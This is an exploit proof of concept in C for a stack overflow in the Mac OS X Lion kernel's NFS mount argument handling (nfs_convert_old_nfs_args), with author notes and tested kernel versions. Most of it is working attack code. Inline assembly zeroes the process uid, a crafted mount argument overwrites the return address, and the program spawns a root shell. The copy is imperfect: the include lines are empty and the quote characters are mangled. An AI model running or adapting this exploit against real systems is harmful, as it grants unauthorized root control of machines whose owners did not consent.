Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount - Privilege Escalation Exploit

/*
* Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit * CVE None * by Kenzley Alphonse
*
*
* Notes:
* This exploit leverage a stack overflow vulnerability to escalate privileges.
* The vulnerable function nfs_convert_old_nfs_args does not verify the size
* of a user-provided argument before copying it to the stack. As a result by
* passing a large size, a local user can overwrite the stack with arbitrary
* content.
*
* Tested on Max OS X Lion xnu-1699.22.73 (x86_64)
* Tested on Max OS X Lion xnu-1699.32.7 (x86_64)
*
* Greets to taviso, spender, joberheide
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

/** change these to fit your environment if needed **/
#define SSIZE (536)

/** struct user_nfs_args was copied directly from “/bsd/nfs/nfs.h” of the xnu kernel **/
struct user_nfs_args {
int version; /* args structure version number */
char* addr __attribute__((aligned(8))); /* file server address */
int addrlen; /* length of address */
int sotype; /* Socket type */
int proto; /* and Protocol */
char * fh __attribute__((aligned(8))); /* File handle to be mounted */
int fhsize; /* Size, in bytes, of fh */
int flags; /* flags */
int wsize; /* write size in bytes */
int rsize; /* read size in bytes */
int readdirsize; /* readdir size in bytes */
int timeo; /* initial timeout in .1 secs */
int retrans; /* times to retry send */
int maxgrouplist; /* Max. size of group list */
int readahead; /* # of blocks to readahead */
int leaseterm; /* obsolete: Term (sec) of lease */
int deadthresh; /* obsolete: Retrans threshold */
char* hostname __attribute__((aligned(8))); /* server’s name */
/* NFS_ARGSVERSION 3 ends here */
int acregmin; /* reg file min attr cache timeout */
int acregmax; /* reg file max attr cache timeout */
int acdirmin; /* dir min attr cache timeout */
int acdirmax; /* dir max attr cache timeout */
/* NFS_ARGSVERSION 4 ends here */
uint auth; /* security mechanism flavor */
/* NFS_ARGSVERSION 5 ends here */
uint deadtimeout; /* secs until unresponsive mount considered dead */
};

/** sets the uid for the current process and safely exits from the kernel**/
static void r00t_me() {
asm(
// padding
“nop; nop; nop; nop;”

// task_t %rax = current_task()
“movq %%gs:0x00000008, %%rax;”
“movq 0x00000348(%%rax), %%rax;”

// proc %rax = get_bsdtask_info()
“movq 0x000002d8(%%rax),%%rax;”

// ucred location at proc
“movq 0x000000d0(%%rax),%%rax;”

// uid = 0
“xorl %%edi, %%edi;”
“movl %%edi, 0x0000001c(%%rax);”
“movl %%edi, 0x00000020(%%rax);”

// fix the stack pointer and return (EACCES)
“movq $13, %%rax;”
“addq $0x00000308,%%rsp;”
“popq %%rbx;”
“popq %%r12;”
“popq %%r13;”
“popq %%r14;”
“popq %%r15;”
“popq %%rbp;”
“ret;”
:::”%rax”
);
}

int main(int argc, char ** argv) {
struct user_nfs_args xdrbuf;
char * path;
char obuf[SSIZE];

/** clear the arguments **/
memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args));
memset(obuf, 0x00, SSIZE);

/** set up variable to get path to vulnerable code **/
xdrbuf.version = 3;
xdrbuf.hostname = “localhost”;
xdrbuf.addrlen = SSIZE;
xdrbuf.addr = obuf;

/** set ret address **/
*(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5);
printf(“[*] set ret = 0x%.16lx\n”, *(unsigned long *)&obuf[528]);

/** create a unique tmp name **/
if ((path = tmpnam(NULL)) == NULL) {
// path can be any directory which we have read/write/exec access
// but I’d much rather create one instead of searching for one
perror(“[-] tmpnam”);
exit(EXIT_FAILURE);
}

/** make the path in tmp so that we can use it **/
if (mkdir(path, 0660) < 0) { perror("[-] mkdir"); exit(EXIT_FAILURE); } /** inform the user that the path was created **/ printf("[*] created sploit path%s\n", path); /** call the vulnerable function **/ if (mount("nfs", path, 0, &xdrbuf) < 0) { if (errno == EACCES) { puts("[+] escalating privileges..."); } else { perror("[-] mount"); } } /** clean up tmp dir **/ if (rmdir(path) < 0) { perror("[-] rmdir"); } /** check if privs are equal to root **/ if (getuid() != 0) { puts("[-] priviledge escalation failed"); exit(EXIT_FAILURE); } /** get root shell **/ printf("[+] We are now uid=%i ... your welcome!\n", getuid()); printf("[+] Dropping a shell.\n"); execl("/bin/sh", "/bin/sh", NULL); return 0; }